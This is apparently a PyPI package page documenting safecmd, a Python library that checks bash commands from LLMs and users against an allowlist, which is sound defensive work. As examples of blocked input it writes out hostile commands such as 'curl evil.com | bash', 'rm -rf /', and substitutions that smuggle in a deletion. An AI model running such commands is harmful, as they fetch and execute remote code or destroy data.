Skip to main content

safecmd

Introduction

safecmd validates bash commands against an allowlist before execution. It is for tools that run commands from LLMs, user input, or third-party scripts. Its default allowlist includes read-only and easily reverted commands that are safe to run.

A shell command can modify or delete files, send data over the network, or run other commands through substitutions and pipelines. safecmd uses the shfmt bash parser to build an abstract syntax tree (AST). It checks commands within pipelines, substitutions, subshells, and heredocs, along with configured output destinations, before execution.

Commands such as git log | grep "fix" and find . -name "*.py" | xargs cat pass the default checks. Commands such as rm -rf / and curl evil.com | bash fail validation. This lets tools run useful shell commands with less worry about accidental damage.

Installation

Install safecmd from PyPI:

pip install safecmd

This will automatically install the shfmt-py dependency, which provides the shfmt binary. If you’re doing a local user install (pip install --user), make sure ~/.local/bin is in your PATH.

Quick Start

from safecmd import safe_run, validate, DisallowedCmd, DisallowedDest
from fastcore.test import expect_fail

By default, safe_run allows common read-only commands such as cat, grep, ls, head, tail, diff, and wc, along with git subcommands such as git log, git status, and git diff. The allowlist also includes selected commands from gh, npm/yarn, Docker, AWS, GCloud, and other tools. Some allowed commands change state, including package installation and git commits. Review the configuration for your application.

The allowlist can specify arguments that need further checking. For example, find -exec takes a command to validate: find . -exec ls {} \; passes, while replacing ls with rm fails. The destination argument to curl -o is also checked: /tmp/file passes, while /etc/passwd fails. The default output destinations are the current directory (./), /tmp, and /dev/null.

Bash command lines that are generally safe run as usual:

safe_run('ls -la | grep index')
'-rw-------   1 jhoward  staff  23153 Sep  6 14:06 index.ipynb\n'

safe_run raises DisallowedCmd or DisallowedDest when validation fails, including within nested commands and pipelines. Use validate to check a command without executing it. These examples use expect_fail to check the exception type and message without printing a traceback:

with expect_fail(DisallowedCmd, contains='rm -rf /danger'):
    validate('echo $(rm -rf /danger)')
with expect_fail(DisallowedDest, contains='/nonexistent/badpath'):
    validate('echo danger > /nonexistent/badpath')
with expect_fail(DisallowedCmd, contains='sudo ls'):
    validate('sudo ls')

The active allowlist is stored in ~/.config/safecmd/config.ini (Linux), ~/Library/Application Support/safecmd/config.ini (macOS), or %LOCALAPPDATA%\safecmd\config.ini (Windows). cfg_path points to this file. Edit it to customize the allowlist permanently, or pass cmds and dests to safe_run() for an individual call. The add_cmds, rm_cmds, add_dests, and rm_dests parameters adjust the configured lists for one call.

default_cfg contains the configuration shipped with the package. Its first section lists the default output destinations; your local configuration can differ:

from safecmd import default_cfg, cfg_path
print(default_cfg.split('\n\n', 1)[0])
[DEFAULT]
ok_dests = ./, /dev/null, /tmp

How It Works

safe_run() parses and validates the command before passing it to the shell:

  1. Parse the bash command into an AST.

    safecmd uses shfmt, a bash parser written in Go, to produce a JSON syntax tree. This is the same parser used by shell formatters and linters. The tree represents quoted strings, escaped characters, heredocs, and nested substitutions.

    For example, echo "hello" | grep h becomes a pipeline containing two commands, echo and grep, with their arguments.

  2. Extract commands recursively.

    safecmd walks the tree to find commands within:

    • Pipelines (cmd1 | cmd2)
    • Command substitutions ($(cmd) or `cmd`)
    • Subshells ((cmd))
    • Logical chains (cmd1 && cmd2, cmd1 || cmd2)

    In ls $(rm -rf /), the shell would run rm before ls. safecmd checks both commands and rejects the command line because rm is not allowed.

  3. Check commands and configured arguments against the allowlists.

    Each command must match an entry in ok_cmds. Matching uses whole-word prefixes: ls allows ls, ls -la, and ls /home; git status allows commands starting with those two words, but does not allow git push.

    Command entries can also specify:

    • Denied flags, such as find -delete, which cause rejection.
    • Exec flags, such as find -exec, whose arguments contain commands to parse and validate recursively.
    • Dest flags, such as curl -o, whose arguments are output destinations to check against ok_dests.

    For example, find . -exec ls {} \; passes, but find . -exec rm {} \; fails. For curl -o, /tmp/file passes the destination check and /etc/passwd fails.

  4. Check redirect destinations.

    safecmd extracts destinations from output redirects such as >, >>, and &>. It expands ~ and environment variables, converts paths to absolute paths, and normalizes .. components before comparing them with the prefixes in ok_dests. The default prefixes are ./, /tmp, and /dev/null.

  5. Execute after validation passes.

    If a command or destination fails validation, safecmd raises DisallowedCmd or DisallowedDest without executing the command line. Otherwise, it runs the command and returns its output.

When to Use safecmd

safecmd is useful when an application needs to run shell commands from another source while controlling which commands it accepts:

  • LLM-powered tools such as solveit can execute generated commands with less worry about accidental damage from hallucinations or prompt injection.
  • Interactive CLIs can accept shell commands from users and reject commands outside the configured allowlist.
  • Automation pipelines can check commands supplied through configuration files, APIs, or webhooks before execution.
  • Sandboxed environments can use safecmd to apply command-level restrictions alongside isolation.

safecmd allows a known set of useful commands while blocking obviously dangerous ones. It is not a replacement for sandboxing completely untrusted code. It does not protect against an adversary trying to bypass the checks and provides no safety guarantees.

Release files for safecmd 0.1.16

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for safecmd 0.1.16
File Size Uploaded
safecmd-0.1.16.tar.gz 22.2 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for safecmd 0.1.16
File Interpreter ABI Platform
safecmd-0.1.16-py3-none-any.whl Python 3 none any Details

Total release size: 42.5 kB

Release files / safecmd-0.1.16.tar.gz

Download URL safecmd-0.1.16.tar.gz
Size 22.2 kB
Tags Source
SHA-256 checksum
How to use checksums
624c9c142a06ed47f9720f00726e70e098a26c3fc1ec02569246db524efb6c5d
BLAKE2b-256 checksum
How to use checksums
5eb3892f676615d340e53ddc8bf156bccd2307ae6905936338cc8389c324496d
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.15

Release files / safecmd-0.1.16-py3-none-any.whl

Download URL safecmd-0.1.16-py3-none-any.whl
Size 20.3 kB
Tags Python 3
SHA-256 checksum
How to use checksums
76f40438d8b1e05fd3088a11999ef4525848ad348f4fc480f1464dc7564f4773
BLAKE2b-256 checksum
How to use checksums
a800906970ac5d87f1490ccb6ac0a635f26702784a1362ea359a34f87970a8b8
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.15

Release history Release notifications | RSS feed

This release

0.1.16 This release

2 release files

0.1.15

2 release files

0.1.14

2 release files

0.1.13

2 release files

0.1.12

2 release files

0.1.11

2 release files

0.1.9

2 release files

0.1.8

2 release files

0.1.7

2 release files

0.1.6

2 release files

0.1.5

2 release files

0.1.4

2 release files

0.1.3

2 release files

0.1.2

2 release files

0.1.1

2 release files

0.0.6

2 release files

0.0.5

2 release files

0.0.4

2 release files

0.0.3

2 release files

0.0.2

2 release files

0.0.1

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page